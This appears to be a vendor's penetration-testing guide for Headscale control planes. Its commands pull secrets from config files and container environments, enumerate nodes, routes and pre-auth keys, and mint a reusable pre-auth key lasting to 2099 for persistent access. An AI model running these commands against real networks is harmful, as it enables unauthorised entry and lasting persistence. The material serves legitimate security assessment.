Headscale Security Testing: API Key, WireGuard Peer Config, Tailscale Control Plane, and Node Registration

Headscale is the dominant self-hosted alternative to the Tailscale control plane, allowing organizations to run their own WireGuard mesh network without relying on Tailscale's cloud infrastructure. As the control plane for a zero-trust network, Headscale is the most critical component: it issues credentials to all nodes, manages network topology, and controls which peers can communicate. Key assessment areas: Headscale API keys stored in config.yaml provide full administrative access including node enumeration, pre-auth key creation, and route management; GET /api/v1/node returns all registered nodes with their WireGuard public keys, assigned IPs, and last-seen timestamps; pre-auth keys with reusable=true allow unlimited device joins without per-device approval; the Headscale gRPC endpoint accepts API key authentication for all operations; and Headscale's SQLite or PostgreSQL database contains the complete network state including all node keys. This guide covers systematic Headscale security assessment.

Table of Contents

  1. API Key and Administrative Access
  2. Node and Network Enumeration
  3. Pre-Auth Key Exploitation
  4. Headscale Security Hardening

API Key and Administrative Access

# Headscale API key authentication — full admin access to control plane
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"

# Verify API key and get server info
curl -s "${HEADSCALE_URL}/api/v1/apikey" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    keys = d.get('apiKeys',[])
    print(f'API AUTHENTICATED. Keys on server: {len(keys)}')
    for k in keys:
        print(f'  Prefix: {k.get(\"prefix\")} created={k.get(\"createdAt\")} expiry={k.get(\"expiration\")} lastUsed={k.get(\"lastSeen\")}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# API key location in Headscale config — commonly stored in plaintext
cat /etc/headscale/config.yaml 2>/dev/null | grep -A2 'api_key\|noise\|private_key'
# Config also reveals:
# - OIDC provider secrets for user authentication
# - SMTP credentials for notification emails
# - Database connection string with credentials
# - DERP server configuration

# Check Headscale service config for API key via environment
systemctl show headscale --property=Environment 2>/dev/null
docker inspect headscale 2>/dev/null | python3 -c "
import json,sys
try:
    c=json.load(sys.stdin)[0]
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e.upper() for k in ['KEY','SECRET','TOKEN','PASSWORD']):
            print(e)
except: pass
" 2>/dev/null

Node and Network Enumeration

# Headscale node and network enumeration via REST API
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"

# List all registered nodes — complete network topology
curl -s "${HEADSCALE_URL}/api/v1/node" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
nodes = d.get('nodes',[])
print(f'Registered nodes: {len(nodes)}')
for n in nodes:
    print(f'  [{n.get(\"id\")}] {n.get(\"name\")} IP={n.get(\"ipAddresses\")} online={n.get(\"online\")}')
    print(f'    User: {n.get(\"user\",{}).get(\"name\")} lastSeen={n.get(\"lastSeen\")}')
    print(f'    WireGuard pubkey: {n.get(\"publicKey\",\"\")[:40]}...')
    routes = n.get('enabledRoutes',[])
    if routes:
        print(f'    Advertised routes: {routes}')  # reveals internal network subnets
" 2>/dev/null

# List all users in the Tailnet
curl -s "${HEADSCALE_URL}/api/v1/user" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  [{u.get(\"id\")}] {u.get(\"name\")} created={u.get(\"createdAt\")}')
" 2>/dev/null

# Get all routes — reveals subnets advertised into the mesh network
curl -s "${HEADSCALE_URL}/api/v1/routes" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
routes = d.get('routes',[])
print(f'Advertised routes: {len(routes)}')
for r in routes:
    print(f'  {r.get(\"prefix\")} node={r.get(\"node\",{}).get(\"name\")} enabled={r.get(\"enabled\")} isPrimary={r.get(\"isPrimary\")}')
" 2>/dev/null

Pre-Auth Key Exploitation

# Headscale pre-auth keys — enable device join without per-device approval
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"

# List all pre-auth keys — reveals reusable and unexpired keys
curl -s "${HEADSCALE_URL}/api/v1/preauthkey" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
keys = d.get('preAuthKeys',[])
print(f'Pre-auth keys: {len(keys)}')
for k in keys:
    print(f'  User: {k.get(\"user\")} reusable={k.get(\"reusable\")} ephemeral={k.get(\"ephemeral\")}')
    print(f'    Expiry: {k.get(\"expiration\")} used={k.get(\"used\")}')
    if not k.get('used') or k.get('reusable'):
        print(f'    KEY VALUE: {k.get(\"key\")}')  # pre-auth key value for device registration
        print(f'    IMPACT: tailscale up --login-server={HEADSCALE_URL} --authkey= joins network')
" 2>/dev/null

# Create a new pre-auth key for persistent access (requires admin)
curl -s -X POST "${HEADSCALE_URL}/api/v1/preauthkey" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "user": "default",
    "reusable": true,
    "ephemeral": false,
    "expiration": "2099-01-01T00:00:00Z",
    "aclTags": []
  }' 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    key = d.get('preAuthKey',{}).get('key','')
    if key:
        print(f'PERSISTENT PRE-AUTH KEY CREATED: {key}')
        print('Use: tailscale up --login-server= --authkey=')
except: pass
" 2>/dev/null

Headscale Security Hardening

Headscale Security Hardening Checklist:
Security TestMethodRisk
API key administrative accessGET /api/v1/node with API key header — returns all registered nodes with WireGuard public keys, assigned IPs, last-seen timestamps, and advertised subnets; provides complete network topology of the meshHigh
Reusable pre-auth key enumerationGET /api/v1/preauthkey — returns all pre-auth keys including reusable ones; a reusable unexpired key allows any device to join the network; keys with used=false are immediately exploitable for network accessCritical
Advertised route extractionGET /api/v1/routes — returns all subnets advertised into the mesh; reveals internal network topology including RFC 1918 ranges accessible via Headscale exit nodes and subnet routersHigh
Config file credential exposureRead /etc/headscale/config.yaml — contains OIDC client secret, SMTP password, database connection string with credentials, and path to server private key; full config read enables reconstruction of all Headscale secretsCritical
Node key enumerationGET /api/v1/node — returns WireGuard public key for every registered node; maps VPN IPs to node names to real identities; combined with route data reveals complete network access mapMedium

Automate Headscale Security Testing

Ironimo tests Headscale deployments for API key exposure and administrative access scope, node and peer WireGuard key enumeration, reusable pre-auth key detection and exploitation risk, advertised route and subnet topology mapping, config.yaml credential extraction assessment, ACL policy audit for zero-trust enforcement gaps, and OIDC vs local authentication configuration review.

Start free scan